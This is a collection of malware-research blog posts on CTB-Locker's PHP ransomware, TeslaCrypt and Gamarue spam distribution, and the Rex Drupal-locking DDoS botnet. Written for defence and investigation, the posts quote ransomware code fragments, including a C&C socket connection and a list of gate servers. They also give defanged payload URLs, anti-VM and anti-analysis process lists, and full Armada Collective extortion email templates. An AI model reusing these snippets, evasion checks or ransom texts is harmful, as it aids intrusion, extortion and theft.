$('#dectest').click(function() {
post_admin("dectest=secret="+($("#secret").val()), function(data) {
[...]


$('#sendmsg').click(function() {
msg = "msg=" + encodeURIComponent($("#chatmsg").val());
post_admin("sendmsg=secret="+$("#secret").val()+msg, function(data) {
[...]


$('#recvmsg').click(function() {
post_admin("recvmsg=secret="+$("#secret").val(), function(data) {
[...]

As we can see, POST requests are sent to other second-level servers, that we will call “gates”, in order to decrypt the files:
admins = ["http://erdeni.ru/access.php", "http://studiogreystar.com/access.php", "http://a1hose.com/access.php"];

I compiled a list of gate servers from the infected websites on Pastebin as well: http://pastebin.com/E9NcvL4v
Even if it is not confirmed, we can suppose that this ransomware works in this way:
5
So, it’s time for my favorite game: finding a sample.
The original victim server, klingenberg.it, seems to be a good starting point: this server should be full of vulnerabilities because it hosts malware like CTB-Locker ransomware.
After some research, I found an unprotected webshell already running on the server:
6
Thanks to this webshell, it is really easy to grab the files related to CTB-Locker. And now I’m sure: this ransomware uses only PHP scripts.
First, let’s have a look at the root index.php file (available at http://pastebin.com/vdBrtrt3 ).
This ransomware is composed of several files:
A directory named « Crypt » containing a bunch of self-explanatory PHP scripts:
– AES.php
– Base.php
– BigInteger.php
– Hash.php
– Random.php
– Rijndael.php
Along with the index.php main page, other files are relevant to this ransomware: allenc.txt, test.txt, victims.txt, extensions.txt, temp, robots.txt and secret_XXXXX.txt.

The encryption process starts when a malicious user generates a specially-crafted POST request to the index.php page:
encrypt_files($victims, $_POST['submit'], $_POST['submit2']);.
Function enc_excluded in index.php is used to exclude the previously core ransomware files (just to be sure the malware will not encrypt itself!).
The list of files to encrypt is computed in the function get_files. Directories are recursively crawled and the list of files to encrypt (in AES-256) is written in the file named victims.txt.
The files are chosen based on their extension. The list of extensions to keep is contained in the file extensions.txt:
7
This list of files is then sent to the function encrypt_files. This function selects two files in this list and writes them to test.txt.
These two files are encrypted by a first key (“submit” variable in the POST request) and can be decrypted for free using the feature “We give you the opportunity to decipher 2 files free!”.
The other files are encrypted with another key (“submit2” variable in the POST request) and this list is written in the file allenc.txt.
In order to uniquely identify the infected server, the ransomware uses a unique secret computed as characters 2 to 10 of the MD5 hash of the strings : “djf33”+the hostname (ex: md5(djf33www. klingenberg.it))

$secret = substr(md5("djf33".cur_domain), 2, 10);

When the user clicks on the button « Decrypt », a request is sent to the gate servers:

admins = ["http://erdeni.ru/access.php", "http://studiogreystar.com/access.php", "http://a1hose.com/access.php"]; via la variable decrypt=

If the user has correctly paid, a popup appears with the contents:
« Your decryption key is XXXXXX » and index.php is reloaded with the correct POST parameters:

window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"];

Loading this page with these parameters decrypts the files.
Servers hosting the access.php page are in fact compromised servers. So, if I want to reach the C&C server, I need to have a look at the code of access.php .
I managed to get a hand on an access.php file whose content is available at http://pastebin.com/6WX3JWXg
The C&C address is hard-coded in this page:
$result = socket_connect($sock, "95.215.45.203", 9338);
A socket is opened and waits for some commands such as:
– “Vic” for decrypting
– “Snd” / “Rcv” for chat feature

I don’t have the code yet behind the socket on 95.215.45.203, but even if I found it, I’ll not release it on the Internet:).

The last question to answer is how the victim websites were infected. I don’t have a clear answer to this question, here are just some elements describing these servers.
Based on the fact that a lot of victims do not have a dynamic website or a CMS, it is difficult to say if the malware uses a well-known vulnerability.
The infected hosts run both Linux and Windows and the majority of them (73%) host an Exim service (SMTP server).
Most of them run a password-protected webshell accessible through the “logout.php” dynamic page.
Some of them are vulnerable to shellshock, but without a deep access on victims’ servers, it is difficult to understand how this ransomware infected hosts.

Like every week for six months, a new ransomware family popped up. This time, servers are targeted and use simple PHP technology to perform their malicious activities.
64552637

bkp
I would like to thanks nl3dee who helped me retrieving the source code of access.php.
All the source code is available at kernelmode.info


Let’s ride with TeslaCrypt

$
0
0

As you can see, we have been working on ransomware over the past few days. This time, we are talking about TeslaCrypt.
TeslaCrypt is a ransomware spread by e-mails or exploit kits. It encrypts your files and asks you to pay in order to retrieve the decryption key. The current version is 3.0. Many analysis are already available on the Internet.
In this article we are focusing on two aspects of TeslaCrypt:
– The attack vector
– The web callback

Attack Vector – Bombila

Early in February 2016, Xylitol added an unknown panel on cybercrime-tracker.
cct
After some research, we have found a binary file hosted on the server at the following address: hxxp://78.47.198.134/1.exe.
https://www.virustotal.com/en/file/6aa5fd384fbfe271a5000397e2e0c9d9e06dd5d041488e4f2de7ae3a4eb1589d/analysis/
This binary file is a bot which sends spam. It uses a list of compromised SMTP servers contained in the file hxxp://78.47.198.134/header/m.txt.
This file (781 MB) contains around 4000 compromised SMTP accounts (Orange, SFR, Telefonica, Yahoo, Gmail, etc.).
After that, the binary file retrieves a list of e-mails from hxxp://78.47.198.134/go_mails/botid-*****.txt.
Directory listing was enabled on this directory, so we could find 139 text files for 792 256 e-mails.
1
The spam bot also retrieves some texts for crafted e-mails via several files in hXXp://78.47.198.134/header/. For example, some fake names: https://pastebin.com/3Xnn7krB and random text like:
plastic
Finally, the bot retrieves malicious attachments from the directory hXXp://78.47.198.134/go_attach/*****.zip. 200 zip files are waiting in this directory.
These Zip files contain malicious JavaScript droppers, each one dropping the TeslaCrypt ransomware.
3
Everyone has seen this type of attachment for the last few months in their mailbox.
Here is an example of these malicious droppers: https://www.virustotal.com/en/file/5acfac853e4ad0280be2bd44e4afb79d16cc7f5b4fd6ef45dde0007104f92c42/analysis/ https://pastebin.com/0jzGQdYe
This JS drops Malicious (TeslaCrypt) binary file from:
hXXp://helloguysqq.su/85.exe
hXXp://sowhatsupwithitff.com/85.exe
These servers are known for spreading the TeslaCrypt ransomware: https://www.virustotal.com/en/domain/sowhatsupwithitff.com/information/
When spamming, the binary file writes a lot of logs on the infected machine, such as:
17
And now let’s go to the funny part. After some guessing, we found an archive at hxxp://78.47.198.134/1.zip. This zip file (size: 468 MB compressed, 2 GB decompressed) is a full backup of the server. It contains all the files of this spamming server: source code, logs, payloads, etc. 5
For example, the source code of the spammer bot callback: https://pastebin.com/b9VWb5bk or index.php: https://pastebin.com/Tkh3UGfE.
This archive contains also 45 millions of e-mails in different text files.
This overview allows us to have a better understanding of how TeslaCrypt ransomware is spread. We can suppose that crooks carrying spam campaigns are different than the ones which manage the ransomware.
I would like to thank the CERT Orange for their work and MalwareMustDie for their support.

TeslaCrypt – Web callback

Now, let’s talk about a not really documented part of the ransomware: the callback web.
When a machine is infected by TeslaCrypt, the malware sends some data to a web callback on a compromised server. For example:
hxxp://biocarbon\.com.ec/wp-content/uploads/bstr.php
hxxp://imagescroll\.com/cgi-bin/Templates/bstr.php
hxxp://music.mbsaeger\.com/music/Glee/bstr.php
hxxp://stacon\.eu/bstr.php
hxxp://surrogacyandadoption\.com/bstr.php
hxxp://worldisonefamily\.info/zz/libraries/bstr.php
(thanks to @techhelplist https://www.virustotal.com/en/user/techhelplist/ )
This callback is just a gateway to the real C&C hosted in TOR.
The source code of such a callback is available at: https://pastebin.com/d7CvSpF0
Firstly, the page kicks IP from Microsoft:
6
After that, the callback creates a file most.txt and logs all data received from infected machines in this file.
7
This file looks like:
data
These data are also sent to three TOR callbacks:
gate

In the TeslaCrypt web kit, we can see another file named « cron.php » (source code available at: https://pastebin.com/LmtPT24L )
The code compares three variables $_REQUEST[‘password’], $_REQUEST[‘re_password’] and $_REQUEST[login’]. The aim of this code is still unclear.
This information is perfect to follow the infection rate of TeslaCrypt. After grabbing most.txt file from different callback, we were able to do some statistics on a little part of this campaign:
– We retrieved 30 210 data raw:
– 15 290 unique IP addresses (due to NAT, one IP address can return several infected machine)
– 40 TOR exit node : )
graph
We can see that the most affected countries are Republic of Korea and Turkey. The whole statistics are available at https://pastebin.com/rpguyaZm.

Conclusion

We looked at another face of the TeslaCrypt infection: the attack vector and the web part. Both were interesting to analyse.
These data are always interesting for estimating the infection rate of a campaign. The logged files show us that the infection rate is quite high, ransomware is definitely a lucrative business.
The web part of ransomware is often forgotten; with different articles we will try to better understand the whole picture.
64552637

bkp


Gamarue loves malicious JavaScript too

$
0
0

A deep look inside a recent campaign

In malware ecosystem, there is some old malware families are able to adapt their propagation methods and successfully continue to infect many users. It is the case of Gamarue (Aka Andromeda). I will explain here how this new Gamarue campaign spreads via malicious JavaScript in emails spam.
Early in April, I have been poked via Twitter regarding a spamming campaign in progress:
twi1
tw2
Yet another malware dropped via emails and malicious JavaScript. The binary dropped is:
https://www.virustotal.com/en/file/6adecfaec434b41ecce9911f00b48e4e8ae6e3e8b9081d59e1b46480e9f7dbfc/analysis/1459790694/.
Emails containing zip archive in attachment constitute the attack vector. This archive contains a JavaScript file which downloads and executes a payload hosted on the Internet: this payload is a good old Gamarue.

Gamarue / Andromeda

Gamarue (or Andromeda) is a well-known modular malware. Basically, Gamarue is a dropper which drops different modules. Since it is possible to easily develop a new module, Gamarue is loved by crooks.
Don’t worry, this article is not another Gamarue analysis. A lot of great articles are already available https://blog.avast.com/andromeda-under-the-microscope http://resources.infosecinstitute.com/andromeda-bot-analysis/ http://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis
I’m not a big expert of Gamarue, so I have some difficulties to identify the version of the malware. For those who can help, the C&C communication requests looks like:
cc
This template doesn’t match the usual version (https://www.botconf.eu/wp-content/uploads/2015/12/OK-P07-Jose-Esparza-Travelling-to-the-far-side-of-Andromeda-2.pdf)
botconf
Here are some of the features of the packer found in this version of Gamarue.

AV detection

The packer tries to detect if an Anti-Virus is installed on the victim’s computer. To do this, the malware uses the function ZwQuerySystemInformation with the parameter SystemProcessInformation (0x5) to retrieve the process list and checks for the presence of one of the following processes:

  • dwservice.exe (DrWeb)
  • defenderdaemon.exe (Shadow Defender)
  • spiderui.exe (DrWeb)
  • spidernt.exe (DrWeb)

 

VM detection

Gamarue packer tries to know if it is being run in a virtual environment by checking (as this is done for AV detection) if some processes are running:

  • vmacthlp.exe (VMWare)
  • vboxservice.exe (Virtual Box)
  • vboxtray.exe (Virtual Box)

It also attempts to load some DLL to detect if running in a virtualized environment:

  • VBoxHook.dll (Virtual Box)
  • VBoxMRXNP.dll (Virtual Box)

And finally, it checks if the VMWare tools directory exists:

  • C:\program files\VMware\VMware Tools

 

Anti-analysis

To complicate the dynamic analysis, the packer is looking for some tool process:
– taskmgr.exe (the built-in Windows task manager)
– procmon.exe (Process Monitor)
It also enumerates all Window title too and looking for the strings:
– HTTP Analyzer
– Sysinternals
– capturing from Wireshark
– TCPViewClass TCPView
– task manager

After the unpacking process, Gamarue launches C:\windows\system32\lsass.exe (either with CreateProcess or WMI) and injects a rogue DLL inside the process.
This DLL is used to communicate with C&C and drops all 3 modules:

  • Pony, a well-known stealer. This module steals sensitive data like FTP credentials, bitcoin wallet, browser credentials…
  • Hioles, a malware that acts as a proxy on the victim’s computer in order to stealing webmail information (steal Hotmail credentials for example).
  • A mail spammer.

To better understand this campaign, we need to grab some information around this sample. To do that, we need to take a look inside the C&C server to find something useful.
data

Data exploration

I try to grab useful data by “guessing” the web server of the C&C found inside the original binary: I try to find sub directories which are available and maybe find directory with the option “directory listing” enabled. After some guessing I’m able to identify some interesting contents inside the C&C web server:

Stolen Data

report2

report1
In two different directories, I’ve found a lot of text files which contain stolen data. These data are related to email accounts and look like Hioles exfiltrated datas.
mails

Pony panel

As seen in the original sample, a Pony module is used. I’ve found the control panel of the module in a subdirectory of the web server
pony
You can find a lot of information on the Internet about pony http://www.xylibox.com/2013/05/pony-19-win32fareit.html
As we can see here, the attacker is running a malware campaign to grab stolen credentials.

ProxyCB Control panel

In another directory of the web server, I can find a PCB control panel. PCB is used to manage a botnet of proxies. You can find more information at https://www.virusbulletin.com/virusbulletin/2014/03/proxycb-spam-proxy-under-radar
Some screenshots inside the control panel:
pcb1

pcb2

pcb3

JavaScript obfuscation script

In the root directory of the C&C, I’m able to find a PHP page which displays obfuscated JavaScript in a text area:
js
This page may have ‘debugging’ purposes and a different script is generated each time the web page is refreshed.
Since this JavaScript is the same as the malicious attachment originally received by email, it should be related to the JavaScript payload obfuscation; we are on the right track…

The spam kit source code

u
Finally, I’ve found a browseable directory that contains all I need to understand how this Gamarue campaign works.
The archive 1/5.rar and nnn.rar contain a huge database of email addresses to spam.
Sendmail.rar is the source code of the spamming kit.
The other text (.txt extension) files are part of the spamming kit.
Let’s analyze the spamming kit inside sendmail.rar.
sendmail
Let’s have a look at the binaries:

  • KWK.exe

kwg
It is a software used to generate keywords http://newox.ru/kwk.php. We can imagine that this software generates keywords used to craft random emails for the spamming campaign.

  • VPSProxy.exe

vps
VPSProxy is a software created to manage a list of proxies. These proxies are infected website (CMS). The attackers upload a malicious PHP script on the compromised CMS servers and use them as proxies. It is really useful to be hidden when you are a crook:).
The PHP source code of the script uploaded on compromised host can be found at: https://pastebin.com/4kXhLtGh
In the archive sendmail.rar, VPSProxy is configured with a list of 179 compromised hosts.
vpsconf
I’m not able to find the binary in charge of sending spam like in the TeslaCrypt case (https://thisissecurity.net/2016/03/02/lets-ride-with-teslacrypt/). It seems that this spamming process is different.
I’ve looked inside the other file of sendmail.rar and found the code source of the spamming kit, from JavaScript obfuscation to mail sender.
For those who are interested, I put the readme on pastebin (https://pastebin.com/UWFR77C9).
The whole kit works around the file send.php.
send1
As first, the script checks if the option « jscode » is enabled. If yes, the script loads another script: jscode.php.
send2
Jscode.php is the script in charge of the JavaScript obfuscation.
send3
It takes the clean JavaScript code as input. In this case, it is a JavaScript script in charge of downloading 3 binaries, copying them in the %TEMP% directory and executing them, a classic schema of these last months. This JavaScript script is obfuscated through random string generation.
After obfuscation, let’s go back into send.php. The script crafts random emails based on information found in all the txt files (sender email, subject, message, etc.).
send4
For example:

  • The email template:

mail1

  • The subject template:

mail2

  • A list of fake name:

mail3

  • A list of fake source email addresses:

mail4
To send spam, the script is not using compromised SMTP server as TeslaCrypt does (https://thisissecurity.net/2016/03/02/lets-ride-with-teslacrypt/). This time, the script uses a list of compromised websites on which an attacker have uploaded a malicious PHP script. The kit contains a list of 14179 compromised hosts (the huge majority are WordPress websites).
wp
The malicious script used to send mail (via the mail() PHP function) is available at : https://pastebin.com/8W6FXnZz.
Finally, online, this spamming kit looks like:
up
In sendmail.rar we can also find a standalone PHP script, update.php, used to automatically deploy the spamming kit.
date
We now have all the information needed to follow with attention this campaign with free tools like malwr.com (looking for ‘ .zip’ recently submitted files):
malw

Conclusion

Yet another malware campaign with malicious JavaScript and compromised CMS.
wpmeme
Abandoned WordPress sites is a real security problem. Administrators leave online old WordPress web sites during several years. If we look at the number of vulnerabilities in WordPress plugins, it becomes very easy to create a list of several thousands of compromised WordPress sites. In each recent malware campaign, old WordPress sites were involved (Locky, Dridex, TeslaCrypt and now Gamarue…).
I’m really fed up with this situation but there is no real solution.
As a reminder, to protect the endpoint, you can change the default program to execute ‘.js’ files to execute notepad.exe instead of wscript.exe. This prevents the script from being erroneously executed by a user.
Some points in conclusion:

  • DO NOT OPEN UNKNOWN EMAILS.
  • JavaScript file is NEVER (NE-VER) USED as a format for an invoice (NEVER, REALLY!)!
  • If you are a website administrator, DO NOT LEAVE OLD WORPRESS SITES ON THE INTERNET.
  • And, if you are a crook, allowing directory listing in your web server is a really a good idea for investigation.

sno
I would like to thank @F_kZ_ @dvk01uk @JAMESWT_MHT @Techhelplistcom @MalwareTechBlog @malwrhunterteam and @malwaremustdie for their help during this investigation.


From website-locker to DDoS: Rex !

$
0
0

In May 2016, Softpedia wrote an article about a Drupal web ransomware. This malware exploits an SQL Injection on CMS Drupal, changes admin credentials and asks for bitcoins to unlock content.
website
After locking the website, a malware is executed on the server:

After this ends, the last uploaded file is a binary file written in the Go programming language, which is the actual ransomware. This Go binary deletes the file upload form and replaces it with the ransom note seen above.

3 months after this article, there was no available sample of this malware on public repositories. So, it’s time to try to find one. We only know that the malware is developed in Go and exploits Drupal vulnerabilities. Thanks to @DlBlind, we also know that it uses P2P to communicate.
Please note that this article is not a reverse of the malware but tries to explain the attack vector and some interesting key features.

Sample Hunting

Googling « Website is locked. Please transfer 1.4 BitCoin to address », we can found a lot of hacked Drupal. After a quick look, we retrieved an unknown sample executed as:

./G2eCM9jUiz -elevate.skip -wait 20619 2>/tmp/l

where the file “l” is actually a log file looking like:

*node.Node.Run "random" 8184 0.0.0.0/0
*node.Node.runScanner *node.BlacklistFilter 0x18d7e4c0 7366
*rpc.Client.SetBinary "linux-386" 0x18c0b560
serving 0.0.0.0:5099

*rpc.Service.SetBinary &{Platform:linux-386 Binary:0x1901ae40}
new neighbor 192.167.9.33:5099
new neighbor 85.158.48.35:5099
new neighbor 89.111.52.140:5099
new neighbor 193.9.245.64:5099
new neighbor 121.42.178.179:5099
new neighbor 91.121.144.123:5099
[...]

The above snippet shows that the sample uses P2P communication.

A quick analysis of the sample shows that it is developed in GO and compressed with UPX. As shown below, it is not known by any anti-virus on VT:
vt
We found our sample and it’s an interesting one. Actually, Drupal-locking is a very small part of the available feature of the self-called “Rex” malware which is still in evolution. We found many different variants from April to August 2016.
rm

Rex malware weapons

Rex is made of 5 different parts. Some of them seem to be still in development:

  • Attack vector
  • Bitcoin mining
  • C&C Communication
  • Ransom – Armada Collective
  • DDoS

Hereafter, we will look into details for each of this part.

Attack vector

Depending of the variant, Rex malware scan Internet for different vulnerable services. The kill chain is simple:

  • Bots are scanning Internet for vulnerable websites
  • Websites are infected and defaced (Drupal-locker)
  • “Rex” malware is dropped on the server
  • The server communicates with other bots via P2P.

Hereafter, a non exhaustive list of exploits used by different variants of Rex malware.

Drupal

It’s not something new, Rex can exploit an SQL injection on Drupal 7 via CVE-2014-3704. The malware adds a new admin account, locks all blogposts with website-locker notes, uploads and executes Rex.

WordPress

Rex is able to infect other CMS. WordPress plugins are mainly targeted. At least 8 exploits are available:

We have found some infected WordPress websites but we didn’t see any of them locked.

Magento

The botnet scans for Magento eCommerce too. It looks for ShopLift RCE – https://www.exploit-db.com/exploits/37977/. The attack is similar to the Drupal attack. A new admin account is created and a Webshell is used for executing Rex.

Misc

A few other exploits are shipped with Rex:

The above list confirms that Rex does not focus on website locking but tries to build a P2P botnet.

Bitcoin mining

As lots of malware, Rex has bitcoin mining capabilities. We won’t dig into details for this.

C&C communication

We haven’t looked deeper in the network part but thanks to @silascutler @DlBlind, we know that this botnet use Kademlia P2P network (“/home/user/src/rex/dht/” https://github.com/nictuku/dht ) on port 5099 with TLS enabled.
cc

It seems that all aforementioned weapons are available through the P2P network.

Ransom – Armada Collective

The most curious feature of the malware is called RansomScanner. It is used to retrieve admin contacts of the infected website, and send a DDoS threat email. Below, the email template:

Armada Collective <armada.collective@gmail.com>
FORWARD THIS MAIL TO WHOEVER IS IMPORTANT IN YOUR COMPANY AND CAN MAKE DECISION!
We are Armada Collective.
All your servers will be DDoS-ed starting {{ .Time.Weekday.String }} ({{ .Time.Format "Jan 2 2006" }}) if you don't pay {{ .Amount }} Bitcoins @ {{ .Address }}
When we say all, we mean all - users will not be able to access sites host with you at all.
If you don't pay by {{ .Time.Weekday.String }}, attack will start, price to stop will increase by {{ .Step }} BTC for every day of attack.
If you report this to media and try to get some free publicity by using our name, instead of paying, attack will start permanently and will last for a long time.
This is not a joke.
Our attacks are extremely powerful - sometimes over 1 Tbps per second. So, no cheap protection will help.
Prevent it all with just {{ .Amount }} BTC @ {{ .Address }}
Do not reply, we will probably not read. Pay and we will know its you. AND YOU WILL NEVER AGAIN HEAR FROM US!
Bitcoin is anonymous, nobody will ever know you cooperated.

It’s a well-known template used by the crooks of Armada Collective. Lot of people have received this kind of email. Cloudflare wrote a blogpost about this ransom note.
There is a supposed gang that sends extortion email to online businesses but nobody has seen any real DDoS. Unfortunately, this kind of scam seems works.

In spite of the lack of actual DDoS follow through, it appears that many victims are paying the extortion fee. A security analyst from the Bitcoin analysis firm Chainalysis studied payments sent to the Armada Collective’s Bitcoin addresses and concluded that more than USD$100,000 has been sent to the attackers by victims.

An example of StackExchange post:
sof
But things starts to be different…

DDoS

Armada Collective emails look like hoax, BUT, we have seen infected servers that actually run real DDoS attacks!
DDos1

Armada collective seems to start a new strategy and try to launch real attacks. The “1Tbps” threat seems ridiculous but If the botnet grows leveraging on fresh vulnerabilities, it may become more harmful.

In the recent versions of Rex, the ransom note has been updated:

FORWARD THIS MAIL TO WHOEVER IS IMPORTANT IN YOUR COMPANY AND CAN MAKE DECISION!
We are Anonymous.
All your servers will be DDoS-ed starting {{ .Time.Weekday.String }} ({{ .Time.Format "Jan 2 2006" }}) if you don't pay {{ .Amount }} Bitcoins @ {{ .Address }}
When we say all, we mean all - users will not be able to access sites host with you at all.
Right now we will start 15 minutes attack on your site's IP {{ .IP }}. It will not be hard, we will not crash it at the moment to try to minimize eventual damage, which we want to avoid at this moment. It's just to prove that this is not a hoax. Check your logs!
If you don't pay by {{ .Time.Weekday.String }}, attack will start, price to stop will increase by {{ .Step }} BTC for every day of attack.
If you report this to media and try to get some free publicity by using our name, instead of paying, attack will start permanently and will last for a long time.
This is not a joke.
Our attacks are extremely powerful - sometimes over 1 Tbps per second. So, no cheap protection will help.
Prevent it all with just {{ .Amount }} BTC @ {{ .Address }}
Do not reply, we will probably not read. Pay and we will know its you. AND YOU WILL NEVER AGAIN HEAR FROM US!
Bitcoin is anonymous, nobody will ever know you cooperated.

Now, crooks talk about a 15 minutes testing DDoS. They ask checking logs as a proof. They want to be taken seriously.
Rex looks like a kind of strange webserver-ransomware that didn’t encrypt files but lock access to administration page and threat to DDoS.

Conclusion

Linux botnets continue to evolve and become very interesting. In this case, what looks like at first sight a Drupal locker is in fact a complete botnet, still in development, with many features.
In the nexts write-ups we will try to explain each module of this botnet.
As usual the attack vector is not 0day but well known vulnerabilities, so I’ll conclude this article like other:
If you are a website administrator, DO NOT LEAVE OUT OF DATE SERVICE ON THE INTERNET.

Samples:

9070f56651f44ec722e17df67b8a954888e387a8f2574594c80937d0f39c471a  .0LD5dVbuo9
bf211d46551079e7f7646ffd6bfda065f1307ea81508d1625b5c65005d929cb3  .0OHjeERDbv
550b9b4c5b2dbe83fa3e227cca65b9b9768e2ea597c2e109205dba51faee5869  .0OhoU6US1m
677464da2fcf73b9793daca3191501da02957af08a6471a047410ce99ea49405  .0r4mKMUlJ6
69402f4bd7718a3403f1caaaa387edc70b299f6aecc06de39e3a9ac28873a184  .0rqNlrPujv
32c921dd4b755af519f648102098735a569a0326a79a911eb47174bd058e5c43  .0YOtp0GQMk
52bf6ae8fe7a0a59ca8d089444207c173e20a7a11c8b5e815b937e2f4224da4f  .1ZRhWKqTlY
950cd068d9c51b941bdfe4721a3156af15dc408d2df23c1f2bc41b87159b109e  .3v0UwARWmv
1f4d876b17a6d786aa793b9c529235f9f9e164d70a74d8d26ca850d18f1329a7  .3weUyhjJZe
09f1967e97a97a1d0963a84823fa2611b9555866f09d7a04bb69bc4d877f9631  .42wVPcdaFD
3e4cebd60a1d6a6b29bac68ace2547c2e3894a0e5865dd90aff5764f8e7dc16d  .4JkeqTzZSX
dcd0e1586630bc8c50fe600899bee76b853057fd9158ed541d7ddec53c8f2186  .5Ygi9nGrHn
cb42573e36fb148bc1109229a1025cdcb375c166361605f0681da9e54e3ef81d  .5ZFxAbOeBY
08ab4abd017568142d061ffd5a2592a491730dddb4485211fda53f39d43e3efb  .7RCBTpSOUh
ac36c87cacbe1b8327fae3084ebd1740a3a5c6c6f208c1c77da56932a9ca3be6  .7tsPagH3FM
d67ae5639618a3409711377e124ef2c6293200aa3026b8b2996654db63645481  .9bKas738kc
a1610e735042ce0197859e6fd7772039e63efce78d6c9cf642492d1c8f1d7540  .9G97ZhwNer
07dd2c7be7a0becb178967c43684c1a687deb217e87575d18fd6b73dc988bd78  .9MgvdLBtL0
dbc3f96fcbbfd90f877dc11fcdedca1c1e574b951ac70edc3160ed9f389c3fd3  .aH7HRrz554
8e7eaed42f50c865f72f7351b87a988de5aa94781b4dab4ddbe993872435f293  .bM04ITZnuq
97c1ed3d52d663f9bad2eef716169f06053dc2bcf8e3d857b0a702e8fae546c9  .C91EZKVz6Q
a1000d4cb81cfb7dfac660722938f3d9c7cb6e36c33e129097ddd29f3dfd1890  .cOVyPvf01L
9f568df46838872b389628b665940415d897823b2e1804e2625c3dfb0b6850b4  .D90yb8KdDV
cc01ba0825208402b0fc2eb62146e856f69d1e9f53b745d8f068f0d09e6170c0  .E61NBnYjak
40c882738ea1e01cc4e8027dd6ce5d55552e5630c8f65e86db630fca09d85fa9  .EETl2pJOf9
0e6c53797964b611c867cb5e5b492d45edf5472924c9a60a99433240f1712f15  .eLBaxwiu2d
c79d7b2a8caf5cc19a019772053c54d1ec02f8ae15b577bbbbd9bf82f19caedb  .fkmJQOIqYB
d097f55f82e88a32b057010c96f553aa7c8ccef12c2a8484aab0fb3dab9d4a0f  .H4g8bASf8Y
c058d576a108bdcf637a6ed399b4d9a1e3bbb6f194882ffada01b85e79109f65  .HdUykUNGy8
339eaabda43fbf0ee0caa6021a999d383713498911523d2b21e2ee2f1541f78f  .Ju7XqX36yy
3dee377037f7fcfd6539c23bb1cdc6eda46680c8773525b784150c1237788965  .KDnA4yWrGc
9d41dc182dee0690e5c5f08f9276548a85f4b986478fd30ec4208d95d54cffeb  .KzmJO5vHRQ
b30dfa13f8dc7162f3edb43dff8507f82c01bd5bd6e5a1ae2e3b2e55dd6b10c0  .LqZzmAJcjo
f7bc5d56312ae6205b21aa4c72708383716907754b037013f47bc88203fbb450  .Oer60jCsoB
9909910d6e008e15c98d26e214f619a7a82787137158784998d99b5c03cbe8f2  .OiZhEG9cEu
2549560970bb8ebca0136f7d6c8111196295d083c6fd6101a7f9178089502cc0  .q7hsioOPWv
fe2c837d1662ca47ebd86c0cf0a3a382ee589bce6b77dabae30801d71a7d280f  .rG47yPBz5p
67a3b5d1fb946daccd7f3562e35b90537f9032184a0605cc9b8613c91a4ea1be  .RnKtruJM9f
22a578f2d30f316d441b73efbeaa0b53641686d2fa75ad44d4d3992da9ceaf5f  .SzIYofKRTz
0723de24bc86eedde149c53e0f93a18596bed424e823f1b46c2f97e358931b83  .YPuels1RDm
6b46b6eff4be06d47284492fed7f71c53103bfaa610952151bddebb8046a34f1  .yYRSdRs6kH
9bd1d3a567e2036f8e57745dd81333911b06a34f4ed6d7d68daa674aac0d7b96  .Zw64nQ52IX

 


Viewing all 111 articles
Browse latest View live